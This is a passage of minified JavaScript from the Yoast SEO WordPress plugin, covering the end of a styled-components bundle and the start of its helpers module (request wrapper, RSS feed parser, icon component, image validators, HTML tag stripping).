t)t.hasOwnProperty(i)&&!ye(t[i])&&(Array.isArray(t[i])&&t[i].isCss||v(t[i])?a.push(ge(i)+":",t[i],";"):m(t[i])?a.push.apply(a,e(t[i],i)):a.push(ge(i)+": "+(n=i,(null==(o=t[i])||"boolean"==typeof o||""===o?"":"number"!=typeof o||0===o||n in c?String(o).trim():o+"px")+";")));return r?[r+" {"].concat(a,["}"]):a}(e):e.toString();var l}var be=function(e){return Array.isArray(e)&&(e.isCss=!0),e};function Se(e){for(var t=arguments.length,r=new Array(t>1?t-1:0),n=1;n<t;n++)r[n-1]=arguments[n];return v(e)||m(e)?be(ve(h(g,[e].concat(r)))):0===r.length&&1===e.length&&"string"==typeof e[0]?e:be(ve(h(e,r)))}new Set;var we=function(e,t,r){return void 0===r&&(r=y),e.theme!==r.theme&&e.theme||t||r.theme},ke=/[!"#$%&'()*+,./:;<=>?@[\\\]^`{|}~-]+/g,Ce=/(^-|-$)/g;function Ae(e){return e.replace(ke,"-").replace(Ce,"")}var xe=function(e){return V(Z(e)>>>0)};function Pe(e){return"string"==typeof e&&!0}var Ie=function(e){return"function"==typeof e||"object"==typeof e&&null!==e&&!Array.isArray(e)},Oe=function(e){return"__proto__"!==e&&"constructor"!==e&&"prototype"!==e};function Ee(e,t,r){var n=e[r];Ie(t)&&Ie(n)?Re(n,t):e[r]=t}function Re(e){for(var t=arguments.length,r=new Array(t>1?t-1:0),n=1;n<t;n++)r[n-1]=arguments[n];for(var o=0,a=r;o<a.length;o++){var i=a[o];if(Ie(i))for(var s in i)Oe(s)&&Ee(e,i[s],s)}return e}var Te=o().createContext(),je=Te.Consumer;function _e(e){var r=(0,t.useContext)(Te),n=(0,t.useMemo)((function(){return function(e,t){return e?v(e)?e(t):Array.isArray(e)||"object"!=typeof e?P(8):t?p({},t,{},e):e:P(14)}(e.theme,r)}),[e.theme,r]);return e.children?o().createElement(Te.Provider,{value:n},e.children):null}var $e={};function Me(e,r,n){var a=S(e),i=!Pe(e),s=r.attrs,c=void 0===s?g:s,l=r.componentId,f=void 0===l?function(e,t){var r="string"!=typeof e?"sc":Ae(e);$e[r]=($e[r]||0)+1;var n=r+"-"+xe("5.3.6"+r+$e[r]);return t?t+"-"+n:n}(r.displayName,r.parentComponentId):l,h=r.displayName,m=void 0===h?function(e){return Pe(e)?"styled."+e:"Styled("+b(e)+")"}(e):h,w=r.displayName&&r.componentId?Ae(r.displayName)+"-"+r.componentId:r.componentId||f,k=a&&e.attrs?Array.prototype.concat(e.attrs,c).filter(Boolean):c,C=r.shouldForwardProp;a&&e.shouldForwardProp&&(C=r.shouldForwardProp?function(t,n,o){return e.shouldForwardProp(t,n,o)&&r.shouldForwardProp(t,n,o)}:e.shouldForwardProp);var A,x=new Q(n,w,a?e.componentStyle:void 0),P=x.isStatic&&0===c.length,I=function(e,r){return function(e,r,n,o){var a=e.attrs,i=e.componentStyle,s=e.defaultProps,c=e.foldedComponentIds,l=e.shouldForwardProp,f=e.styledComponentId,d=e.target,h=function(e,t,r){void 0===e&&(e=y);var n=p({},t,{theme:e}),o={};return r.forEach((function(e){var t,r,a,i=e;for(t in v(i)&&(i=i(n)),i)n[t]=o[t]="className"===t?(r=o[t],a=i[t],r&&a?r+" "+a:r||a):i[t]})),[n,o]}(we(r,(0,t.useContext)(Te),s)||y,r,a),m=h[0],g=h[1],b=function(e,t,r,n){var o=ce(),a=le();return t?e.generateAndInjectStyles(y,o,a):e.generateAndInjectStyles(r,o,a)}(i,o,m),S=n,w=g.$as||r.$as||g.as||r.as||d,k=Pe(w),C=g!==r?p({},r,{},g):r,A={};for(var x in C)"$"!==x[0]&&"as"!==x&&("forwardedAs"===x?A.as=C[x]:(l?l(x,u,w):!k||u(x))&&(A[x]=C[x]));return r.style&&g.style!==r.style&&(A.style=p({},r.style,{},g.style)),A.className=Array.prototype.concat(c,f,b!==f?b:null,r.className,g.className).filter(Boolean).join(" "),A.ref=S,(0,t.createElement)(w,A)}(A,e,r,P)};return I.displayName=m,(A=o().forwardRef(I)).attrs=k,A.componentStyle=x,A.displayName=m,A.shouldForwardProp=C,A.foldedComponentIds=a?Array.prototype.concat(e.foldedComponentIds,e.styledComponentId):g,A.styledComponentId=w,A.target=a?e.target:e,A.withComponent=function(e){var t=r.componentId,o=function(e,t){if(null==e)return{};var r,n,o={},a=Object.keys(e);for(n=0;n<a.length;n++)r=a[n],t.indexOf(r)>=0||(o[r]=e[r]);return o}(r,["componentId"]),a=t&&t+"-"+(Pe(e)?e:Ae(b(e)));return Me(e,p({},o,{attrs:k,componentId:a}),n)},Object.defineProperty(A,"defaultProps",{get:function(){return this._foldedDefaultProps},set:function(t){this._foldedDefaultProps=a?Re({},e.defaultProps,t):t}}),A.toString=function(){return"."+A.styledComponentId},i&&d()(A,e,{attrs:!0,componentStyle:!0,displayName:!0,foldedComponentIds:!0,shouldForwardProp:!0,styledComponentId:!0,target:!0,withComponent:!0}),A}var Ne=function(t){return function t(r,n,o){if(void 0===o&&(o=y),!(0,e.isValidElementType)(n))return P(1,String(n));var a=function(){return r(n,o,Se.apply(void 0,arguments))};return a.withConfig=function(e){return t(r,n,p({},o,{},e))},a.attrs=function(e){return t(r,n,p({},o,{attrs:Array.prototype.concat(o.attrs,e).filter(Boolean)}))},a}(Me,t)};["a","abbr","address","area","article","aside","audio","b","base","bdi","bdo","big","blockquote","body","br","button","canvas","caption","cite","code","col","colgroup","data","datalist","dd","del","details","dfn","dialog","div","dl","dt","em","embed","fieldset","figcaption","figure","footer","form","h1","h2","h3","h4","h5","h6","head","header","hgroup","hr","html","i","iframe","img","input","ins","kbd","keygen","label","legend","li","link","main","map","mark","marquee","menu","menuitem","meta","meter","nav","noscript","object","ol","optgroup","option","output","p","param","picture","pre","progress","q","rp","rt","ruby","s","samp","script","section","select","small","source","span","strong","style","sub","summary","sup","table","tbody","td","textarea","tfoot","th","thead","time","title","tr","track","u","ul","var","video","wbr","circle","clipPath","defs","ellipse","foreignObject","g","image","line","linearGradient","marker","mask","path","pattern","polygon","polyline","radialGradient","rect","stop","svg","text","textPath","tspan"].forEach((function(e){Ne[e]=Ne(e)}));var ze=function(){function e(e,t){this.rules=e,this.componentId=t,this.isStatic=J(e),Y.registerId(this.componentId+1)}var t=e.prototype;return t.createStyles=function(e,t,r,n){var o=n(ve(this.rules,t,r,n).join(""),""),a=this.componentId+e;r.insertRules(a,a,o)},t.removeStyles=function(e,t){t.clearRules(this.componentId+e)},t.renderStyles=function(e,t,r,n){e>2&&Y.registerId(this.componentId+e),this.removeStyles(e,r),this.createStyles(e,t,r,n)},e}();function De(e){for(var r=arguments.length,n=new Array(r>1?r-1:0),a=1;a<r;a++)n[a-1]=arguments[a];var i=Se.apply(void 0,[e].concat(n)),s="sc-global-"+xe(JSON.stringify(i)),c=new ze(i,s);function l(e){var r=ce(),n=le(),o=(0,t.useContext)(Te),a=(0,t.useRef)(r.allocateGSInstance(s)).current;return r.server&&u(a,e,r,o,n),(0,t.useLayoutEffect)((function(){if(!r.server)return u(a,e,r,o,n),function(){return c.removeStyles(a,r)}}),[a,e,r,o,n]),null}function u(e,t,r,n,o){if(c.isStatic)c.renderStyles(e,x,r,o);else{var a=p({},t,{theme:we(t,n,l.defaultProps)});c.renderStyles(e,a,r,o)}}return o().memo(l)}function Le(e){for(var t=arguments.length,r=new Array(t>1?t-1:0),n=1;n<t;n++)r[n-1]=arguments[n];var o=Se.apply(void 0,[e].concat(r)).join(""),a=xe(o);return new fe(a,o)}var Fe=function(){function e(){var e=this;this._emitSheetCSS=function(){var t=e.instance.toString();if(!t)return"";var r=D();return"<style "+[r&&'nonce="'+r+'"',w+'="true"','data-styled-version="5.3.6"'].filter(Boolean).join(" ")+">"+t+"</style>"},this.getStyleTags=function(){return e.sealed?P(2):e._emitSheetCSS()},this.getStyleElement=function(){var t;if(e.sealed)return P(2);var r=((t={})[w]="",t["data-styled-version"]="5.3.6",t.dangerouslySetInnerHTML={__html:e.instance.toString()},t),n=D();return n&&(r.nonce=n),[o().createElement("style",p({},r,{key:"sc-0-0"}))]},this.seal=function(){e.sealed=!0},this.instance=new Y({isServer:!0}),this.sealed=!1}var t=e.prototype;return t.collectStyles=function(e){return this.sealed?P(2):o().createElement(ue,{sheet:this.instance},e)},t.interleaveWithNodeStream=function(e){return P(3)},e}(),Be=function(e){var r=o().forwardRef((function(r,n){var a=(0,t.useContext)(Te),i=e.defaultProps,s=we(r,a,i);return o().createElement(e,p({},r,{theme:s,ref:n}))}));return d()(r,e),r.displayName="WithTheme("+b(e)+")",r},Ge=function(){return(0,t.useContext)(Te)},He={StyleSheet:Y,masterSheet:ie};const We=Ne})(),(window.yoast=window.yoast||{}).styledComponents=n})();wordpress-seo/js/dist/externals/helpers.js000064400000153367147510273070014771 0ustar00(()=>{var e={61117:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0,n(57147);const r=(e,t)=>{const n=((e,t)=>{for(const n in t)t.hasOwnProperty(n)&&(void 0!==e[n]&&""!==e[n]||(e[n]=t[n]));return e})(e,{dataType:"json",method:"POST",contentType:"application/json"});return void 0===n.headers&&""===n.headers||((e,t)=>{"jquery"===e&&Object.assign(t,{beforeSend:e=>{jQuery.each(t.headers,((t,n)=>{e.setRequestHeader(t,n)}))}}),"fetch"===e&&"json"===t.dataType&&Object.assign(t.headers,{Accepts:"application/json","Content-Type":"application/json"})})(t,n),"json"===n.dataType&&(n.data=JSON.stringify(n.data)),"fetch"===t&&Object.assign(n,{body:n.data}),n};t.default=(e,t)=>"undefined"!=typeof jQuery&&jQuery&&jQuery.ajax?((e,t)=>(Object.assign(t,{url:e}),new Promise(((e,n)=>{jQuery.ajax(t).done((t=>{e(t)})).fail((()=>{n("Wrong request")}))}))))(e,r(t,"jquery")):((e,t)=>{const n=fetch(e,t);return new Promise(((e,t)=>{n.then((n=>200===n.status?e(n.json()):t("Response status is not 200"))).catch((()=>t("Wrong request")))}))})(e,r(t,"fetch"))},70636:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=t.StyledSvg=void 0;var r=s(n(85890)),o=s(n(99196)),i=s(n(98487)),a=n(92819);function s(e){return e&&e.__esModule?e:{default:e}}function u(){return u=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},u.apply(this,arguments)}const l=t.StyledSvg=i.default.svg`
	width: ${e=>e.size};
	height: ${e=>e.size};
	flex: none;
`;class c extends o.default.Component{render(){const{iconSet:e,icon:t,className:n,color:r,size:i}=this.props,s=e[t];if(!s)return console.warn(`Invalid icon name ("${t}") passed to the SvgIcon component.`),null;const u=s.path,c=s.viewbox,f=["yoast-svg-icon","yoast-svg-icon-"+t,n].filter(Boolean).join(" "),p=s.CustomComponent?s.CustomComponent:l;return o.default.createElement(p,{"aria-hidden":!0,role:"img",focusable:"false",size:i,className:f,xmlns:"http://www.w3.org/2000/svg",viewBox:c,fill:r},(0,a.isArray)(u)?u:o.default.createElement("path",{d:u}))}}c.propTypes={icon:r.default.string.isRequired,iconSet:r.default.object.isRequired,color:r.default.string,size:r.default.string,className:r.default.string},c.defaultProps={size:"16px",color:"currentColor",className:""},t.default=e=>{const t=t=>o.default.createElement(c,u({},t,{iconSet:e}));return t.propTypes={icon:r.default.string.isRequired,color:r.default.string,size:r.default.string,className:r.default.string},t.defaultProps={size:"16px",color:"currentColor",className:""},t}},47305:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){return(0,r.default)(e,t,i)};var r=function(e,t){if(e&&e.__esModule)return e;if(null===e||"object"!=typeof e&&"function"!=typeof e)return{default:e};var n=o(t);if(n&&n.has(e))return n.get(e);var r={__proto__:null},i=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var a in e)if("default"!==a&&Object.prototype.hasOwnProperty.call(e,a)){var s=i?Object.getOwnPropertyDescriptor(e,a):null;s&&(s.get||s.set)?Object.defineProperty(r,a,s):r[a]=e[a]}return r.default=e,n&&n.set(e,r),r}(n(56362));function o(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(o=function(e){return e?n:t})(e)}function i(e,t,n){const o={};return o.id=(0,r.getXPathText)("child::content:slug",e,t,n),o.title=(0,r.getXPathText)("child::title",e,t),o.link=(0,r.getXPathText)("child::link",e,t),o.content=(0,r.getXPathText)("child::content:encoded",e,t,n),o.image=(0,r.getXPathText)("child::content:image",e,t,n),o.ctaButtonCopy=(0,r.getXPathText)("child::content:cta_button_copy",e,t,n),o.ctaButtonType=(0,r.getXPathText)("child::content:cta_button_type",e,t,n),o.ctaButtonUrl=(0,r.getXPathText)("child::content:cta_button_url",e,t,n),o.readMoreLinkText=(0,r.getXPathText)("child::content:read_more_link_text",e,t,n),o.isFree=(0,r.getXPathText)("child::content:is_free",e,t,n),o.isBundle=(0,r.getXPathText)("child::content:is_bundle",e,t,n),o}},56362:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t=0,n=i.parseFeedItem){return fetch(e).then((function(e){return e.text()})).then((function(e){return s(e,t,n)}))},t.getXPathText=a,t.parseFeed=s;var r,o=(r=n(22932))&&r.__esModule?r:{default:r},i=n(93435);function a(e,t,n=null,r=null){if(0===t.evaluate("count("+e+")",n||t,r,XPathResult.ANY_TYPE,null).numberValue)return;const o=t.evaluate(e,n||t,r,XPathResult.STRING_TYPE,null);return o.stringValue?o.stringValue:null}function s(e,t=0,n=i.parseFeedItem){return new Promise((function(r,i){try{"evaluate"in document==0&&o.default.install();const i=(new DOMParser).parseFromString(e,"application/xml"),s=i.createNSResolver(i.documentElement),u=function(e){const t={};return t.title=a("/rss/channel/title",e),t.description=a("/rss/channel/description",e),t.link=a("/rss/channel/link",e),t}(i);u.items=function(e,t,n,r){const o=function(e,t,n=null,r=null){return t.evaluate(e,n||t,r,XPathResult.ORDERED_NODE_SNAPSHOT_TYPE,null)}("/rss/channel/item",e);let i=o.snapshotLength;const a=[];0!==n&&(i=Math.min(i,n));for(let n=0;n<i;n++){const i=o.snapshotItem(n);a.push(r(e,i,t))}return a}(i,s,t,n),r(u)}catch(e){i(e)}}))}},93435:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){return(0,r.default)(e,t,i)},t.parseFeedItem=i;var r=function(e,t){if(e&&e.__esModule)return e;if(null===e||"object"!=typeof e&&"function"!=typeof e)return{default:e};var n=o(t);if(n&&n.has(e))return n.get(e);var r={__proto__:null},i=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var a in e)if("default"!==a&&Object.prototype.hasOwnProperty.call(e,a)){var s=i?Object.getOwnPropertyDescriptor(e,a):null;s&&(s.get||s.set)?Object.defineProperty(r,a,s):r[a]=e[a]}return r.default=e,n&&n.set(e,r),r}(n(56362));function o(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(o=function(e){return e?n:t})(e)}function i(e,t,n){const o={};return o.title=(0,r.getXPathText)("child::title",e,t),o.link=(0,r.getXPathText)("child::link",e,t),o.content=(0,r.getXPathText)("child::content:encoded",e,t,n),o.description=(0,r.getXPathText)("child::description",e,t),o.creator=(0,r.getXPathText)("child::dc:creator",e,t,n),o.date=(0,r.getXPathText)("child::pubDate",e,t),o}},5878:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.getValueFromHiddenInput=t.curryUpdateToHiddenInput=void 0;const n=e=>document.querySelector(e);t.curryUpdateToHiddenInput=(e,t=null)=>r=>{const o=n(e);if(o){const e=Array.isArray(r)?r.join(","):r;o.value=e}t&&t(r)},t.getValueFromHiddenInput=e=>{const t=n(e);return t?t.value:null}},59956:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.inlineElements=t.getBlocks=t.default=t.blockElements=void 0,t.isBlockElement=E,t.isInlineElement=_;var r,o,i=n(92819),a=(r=n(14429))&&r.__esModule?r:{default:r},s=t.blockElements=["address","article","aside","blockquote","canvas","dd","div","dl","fieldset","figcaption","figure","footer","form","h1","h2","h3","h4","h5","h6","header","hgroup","hr","li","main","nav","noscript","ol","output","p","pre","section","table","tfoot","ul","video"],u=t.inlineElements=["b","big","i","small","tt","abbr","acronym","cite","code","dfn","em","kbd","strong","samp","time","var","a","bdo","br","img","map","object","q","script","span","sub","sup","button","input","label","select","textarea"],l=new RegExp("^("+s.join("|")+")$","i"),c=new RegExp("^("+u.join("|")+")$","i"),f=new RegExp("^<("+s.join("|")+")[^>]*?>$","i"),p=new RegExp("^</("+s.join("|")+")[^>]*?>$","i"),d=new RegExp("^<("+u.join("|")+")[^>]*>$","i"),h=new RegExp("^</("+u.join("|")+")[^>]*>$","i"),y=/^<([^>\s/]+)[^>]*>$/,g=/^<\/([^>\s]+)[^>]*>$/,b=/^[^<]+$/,m=/^<[^><]*$/,v=/<!--(.|[\r\n])*?-->/g,w=[];function E(e){return l.test(e)}function _(e){return c.test(e)}const x=t.getBlocks=(0,i.memoize)((function(e){var t=[],n=0,r="",s="",u="";return e=e.replace(v,""),w=[],(o=(0,a.default)((function(e){w.push(e)}))).addRule(b,"content"),o.addRule(m,"greater-than-sign-content"),o.addRule(f,"block-start"),o.addRule(p,"block-end"),o.addRule(d,"inline-start"),o.addRule(h,"inline-end"),o.addRule(y,"other-element-start"),o.addRule(g,"other-element-end"),o.onText(e),o.end(),(0,i.forEach)(w,(function(e,o){var i=w[o+1];switch(e.type){case"content":case"greater-than-sign-content":case"inline-start":case"inline-end":case"other-tag":case"other-element-start":case"other-element-end":case"greater than sign":i&&(0!==n||"block-start"!==i.type&&"block-end"!==i.type)?s+=e.src:(s+=e.src,t.push(s),r="",s="",u="");break;case"block-start":0!==n&&(""!==s.trim()&&t.push(s),s="",u=""),n++,r=e.src;break;case"block-end":n--,u=e.src,""!==r&&""!==u?t.push(r+s+u):""!==s.trim()&&t.push(s),r="",s="",u=""}n<0&&(n=0)})),t}));t.default={blockElements:s,inlineElements:u,isBlockElement:E,isInlineElement:_,getBlocks:x}},29938:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0,t.default=e=>{var t=document.createElement("textarea");return t.innerHTML=e,t.value}},56101:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r={getDirectionalStyle:!0,sendRequest:!0,decodeHTML:!0,getFeed:!0,getCourseFeed:!0,getPostFeed:!0,createSvgIconComponent:!0,getWordBoundaries:!0,strings:!0,join:!0,makeOutboundLink:!0,validateFacebookImage:!0,validateTwitterImage:!0};Object.defineProperty(t,"createSvgIconComponent",{enumerable:!0,get:function(){return c.default}}),Object.defineProperty(t,"decodeHTML",{enumerable:!0,get:function(){return a.default}}),Object.defineProperty(t,"getCourseFeed",{enumerable:!0,get:function(){return u.default}}),Object.defineProperty(t,"getDirectionalStyle",{enumerable:!0,get:function(){return o.getDirectionalStyle}}),Object.defineProperty(t,"getFeed",{enumerable:!0,get:function(){return s.default}}),Object.defineProperty(t,"getPostFeed",{enumerable:!0,get:function(){return l.default}}),Object.defineProperty(t,"getWordBoundaries",{enumerable:!0,get:function(){return f.default}}),Object.defineProperty(t,"join",{enumerable:!0,get:function(){return d.default}}),Object.defineProperty(t,"makeOutboundLink",{enumerable:!0,get:function(){return h.makeOutboundLink}}),Object.defineProperty(t,"sendRequest",{enumerable:!0,get:function(){return i.default}}),t.strings=void 0,Object.defineProperty(t,"validateFacebookImage",{enumerable:!0,get:function(){return y.default}}),Object.defineProperty(t,"validateTwitterImage",{enumerable:!0,get:function(){return g.default}});var o=n(79124),i=v(n(61117)),a=v(n(29938)),s=v(n(56362)),u=v(n(47305)),l=v(n(93435)),c=v(n(70636)),f=v(n(93988)),p=function(e,t){if(e&&e.__esModule)return e;if(null===e||"object"!=typeof e&&"function"!=typeof e)return{default:e};var n=m(t);if(n&&n.has(e))return n.get(e);var r={__proto__:null},o=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if("default"!==i&&Object.prototype.hasOwnProperty.call(e,i)){var a=o?Object.getOwnPropertyDescriptor(e,i):null;a&&(a.get||a.set)?Object.defineProperty(r,i,a):r[i]=e[i]}return r.default=e,n&&n.set(e,r),r}(n(80292));t.strings=p;var d=v(n(15421)),h=n(5850),y=v(n(11192)),g=v(n(69871)),b=n(5878);function m(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(m=function(e){return e?n:t})(e)}function v(e){return e&&e.__esModule?e:{default:e}}Object.keys(b).forEach((function(e){"default"!==e&&"__esModule"!==e&&(Object.prototype.hasOwnProperty.call(r,e)||e in t&&t[e]===b[e]||Object.defineProperty(t,e,{enumerable:!0,get:function(){return b[e]}}))}))},15421:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t="-"){return e.filter(Boolean).join(t)}},5850:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.makeOutboundLink=void 0;var r=s(n(99196)),o=s(n(85890)),i=n(65736),a=n(1571);function s(e){return e&&e.__esModule?e:{default:e}}t.makeOutboundLink=(e="a")=>{class t extends r.default.Component{constructor(e){super(e),this.isYoastLink=this.isYoastLink.bind(this)}isYoastLink(e){return/yoast\.com|yoast\.test|yoa\.st/.test(e)}render(){if(!this.props.href)return null;const t=this.isYoastLink(this.props.href),n=Object.assign({},this.props,{target:"_blank",rel:t?this.props.rel:"noopener"});return r.default.createElement(e,n,this.props.children,r.default.createElement(a.A11yNotice,null,/* translators: Hidden accessibility text. */
(0,i.__)("(Opens in a new browser tab)","wordpress-seo")))}}return t.propTypes={children:o.default.oneOfType([o.default.node]),href:o.default.string,rel:o.default.string},t.defaultProps={children:null,href:null,rel:null},t}},11192:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.validateType=t.validateSize=t.default=void 0;var r,o=n(65736),i=(r=n(59994))&&r.__esModule?r:{default:r};const a=e=>{const{width:t,height:n}=e,r=(0,o.sprintf)(/* Translators: %d expands to the minimum width, %d expands to the minimum hight */
(0,o.__)("Your image dimensions are not suitable. The minimum dimensions are %dx%d pixels.","wordpress-seo"),200,200);return!(t<200||n<200)||r};t.validateSize=a;const s=e=>{const{type:t}=e,n=(0,o.sprintf)(/* Translators: %s expands to the jpg format, %s expands to the png format, %s expands to the gif format. */
(0,o.__)("The format of the uploaded image is not supported. The supported formats are: %s, %s, %s and %s.","wordpress-seo"),"JPG","PNG","WEBP","GIF");return!!["jpg","png","gif","jpeg","webp"].includes(t)||n};t.validateType=s;const u=(0,i.default)([a,s]);t.default=u},69871:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.validatesBytes=t.validateType=t.validateSize=t.default=void 0;var r,o=n(65736),i=(r=n(59994))&&r.__esModule?r:{default:r};const a=4096,s=4096,u=(e,t)=>{const{width:n,height:r}=e,i=(0,o.__)("Your image dimensions are not suitable. The minimum dimensions are %dx%d pixels. The maximum dimensions are %dx%d pixels.","wordpress-seo"),u=n>a||r>s;
/* Translators: %d expands to the minimum width, %d expands to the minimum height,
  %d expands to the maximum width, %d expands to the maximum height. */return t&&(n<300||r<157||u)?(0,o.sprintf)(i,300,157,a,s):!(n<200||r<200||u)||(0,o.sprintf)(i,200,200,a,s)};t.validateSize=u;const l=e=>{const{type:t}=e,n=(0,o.sprintf)(/* Translators: %s expands to the gif format, %s expands to the gif format. */
(0,o.__)("You have uploaded a %s. Please note that, if it’s an animated %s, only the first frame will be used.","wordpress-seo"),"GIF","GIF"),r=(0,o.sprintf)(/* Translators: %s expands to the jpg format, %s expands to the png format, %s expands to the gif format. */
(0,o.__)("The format of the uploaded image is not supported. The supported formats are: %s, %s, %s and %s.","wordpress-seo"),"JPG","PNG","WEBP","GIF");return!!["jpg","jpeg","png","webp"].includes(t)||("gif"===t?n:r)};t.validateType=l;const c=e=>{const{bytes:t}=e,n=(0,o.sprintf)(/* translators: %s expands to X, %s expands to the 5MB size. */
(0,o.__)("The file size of the uploaded image is too large for %s. File size must be less than %s.","wordpress-seo"),"X","5MB");return!(t>=5)||n};t.validatesBytes=c;const f=(0,i.default)([u,l,c]);t.default=f},59994:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0,t.default=e=>t=>e.map((e=>e(t))).filter((e=>!0!==e))},80292:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"stripHTMLTags",{enumerable:!0,get:function(){return o.stripFullTags}}),Object.defineProperty(t,"stripSpaces",{enumerable:!0,get:function(){return i.default}}),Object.defineProperty(t,"stripTagsFromHtmlString",{enumerable:!0,get:function(){return a.stripTagsFromHtmlString}});var r,o=n(49583),i=(r=n(15008))&&r.__esModule?r:{default:r},a=n(57427)},49583:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.stripIncompleteTags=t.stripFullTags=t.stripBlockTagsAtStartEnd=t.default=void 0;var r,o=(r=n(15008))&&r.__esModule?r:{default:r},i=n(59956),a=new RegExp("^<("+i.blockElements.join("|")+")[^>]*?>","i"),s=new RegExp("</("+i.blockElements.join("|")+")[^>]*?>$","i"),u=function(e){return(e=e.replace(/^(<\/([^>]+)>)+/i,"")).replace(/(<([^/>]+)>)+$/i,"")};t.stripIncompleteTags=u;var l=function(e){return(e=e.replace(a,"")).replace(s,"")};t.stripBlockTagsAtStartEnd=l;var c=function(e){return e=e.replace(/(<([^>]+)>)/gi," "),(0,o.default)(e)};t.stripFullTags=c,t.default={stripFullTags:c,stripIncompleteTags:u,stripBlockTagsAtStartEnd:l}},15008:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return(e=(e=e.replace(/\s{2,}/g," ")).replace(/\s\.$/,".")).replace(/^\s+|\s+$/g,"")}},57427:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.stripTagsFromHtmlString=void 0;const n=["script","style"],r=[":","https:","http:"],o={a:["href","target","rel"]},i=(e,t,a)=>{const s=[];e.forEach((e=>{if(e.nodeType!==Node.ELEMENT_NODE)return;const u=e.nodeName.toLowerCase();n.includes(u)?e.remove():(i(e.childNodes,t,a),t.includes(u)?((e,t)=>{e.getAttributeNames().forEach((n=>{t.includes(n)?"href"===n&&"a"===e.nodeName.toLowerCase()&&(r.includes(e.protocol)||e.removeAttribute(n)):e.removeAttribute(n)}))})(e,a[u]||o[u]||[]):s.push(e))})),s.forEach((e=>e.replaceWith(...e.childNodes)))};t.stripTagsFromHtmlString=(e,t=[],n={})=>{const r=(new DOMParser).parseFromString(e,"text/html");return i(r.body.childNodes,t,n),r.body.innerHTML}},79124:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.getDirectionalStyle=function(e,t){return n=>n.theme.isRtl?t:e}},1571:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.A11yNotice=void 0;var r,o=(r=n(98487))&&r.__esModule?r:{default:r};t.A11yNotice=o.default.span`
	border: 0;
	clip: rect(1px, 1px, 1px, 1px);
	clip-path: inset(50%);
	height: 1px;
	margin: -1px;
	overflow: hidden;
	padding: 0;
	position: absolute !important;
	width: 1px;
	word-wrap: normal !important;
	// Safari+VoiceOver bug see PR 308 and My Yoast issues 445, 712 and PR 715.
	transform: translateY(1em);
`},93988:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(){return[" ","\\n","\\r","\\t"," "," ",".",",","'","(",")",'"',"+","-",";","!","?",":","/","»","«","‹","›","<",">"]}},14429:e=>{var t=function(e,t){var n;for(n=0;n<e.length;n++)if(e[n].regex.test(t))return e[n]},n=function(e,n){var r,o,i;for(r=0;r<n.length;r++)if(o=t(e,n.substring(0,r+1)))i=o;else if(i)return{max_index:r,rule:i};return i?{max_index:n.length,rule:i}:void 0};e.exports=function(e){var r="",o=[],i=1,a=1,s=function(t,n){e({type:n,src:t,line:i,col:a});var r=t.split("\n");i+=r.length-1,a=(r.length>1?1:a)+r[r.length-1].length};return{addRule:function(e,t){o.push({regex:e,type:t})},onText:function(e){for(var t=r+e,i=n(o,t);i&&i.max_index!==t.length;)s(t.substring(0,i.max_index),i.rule.type),t=t.substring(i.max_index),i=n(o,t);r=t},end:function(){if(0!==r.length){var e=t(o,r);if(!e){var n=new Error("unable to tokenize");throw n.tokenizer2={buffer:r,line:i,col:a},n}s(r,e.type)}}}}},57147:function(){!function(e){"use strict";if(!e.fetch){var t="URLSearchParams"in e,n="Symbol"in e&&"iterator"in Symbol,r="FileReader"in e&&"Blob"in e&&function(){try{return new Blob,!0}catch(e){return!1}}(),o="FormData"in e,i="ArrayBuffer"in e;if(i)var a=["[object Int8Array]","[object Uint8Array]","[object Uint8ClampedArray]","[object Int16Array]","[object Uint16Array]","[object Int32Array]","[object Uint32Array]","[object Float32Array]","[object Float64Array]"],s=function(e){return e&&DataView.prototype.isPrototypeOf(e)},u=ArrayBuffer.isView||function(e){return e&&a.indexOf(Object.prototype.toString.call(e))>-1};h.prototype.append=function(e,t){e=f(e),t=p(t);var n=this.map[e];n||(n=[],this.map[e]=n),n.push(t)},h.prototype.delete=function(e){delete this.map[f(e)]},h.prototype.get=function(e){var t=this.map[f(e)];return t?t[0]:null},h.prototype.getAll=function(e){return this.map[f(e)]||[]},h.prototype.has=function(e){return 